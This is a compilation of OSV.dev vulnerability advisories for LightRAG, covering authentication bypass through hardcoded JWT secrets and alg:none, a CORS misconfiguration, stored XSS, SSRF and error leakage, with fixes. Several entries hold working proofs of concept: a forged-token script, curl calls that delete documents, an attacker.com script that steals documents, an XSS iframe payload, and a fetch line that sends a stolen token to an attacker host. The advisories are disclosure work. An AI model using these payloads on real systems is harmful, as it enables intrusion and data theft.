Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 06, 2025

1.4.9.7 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

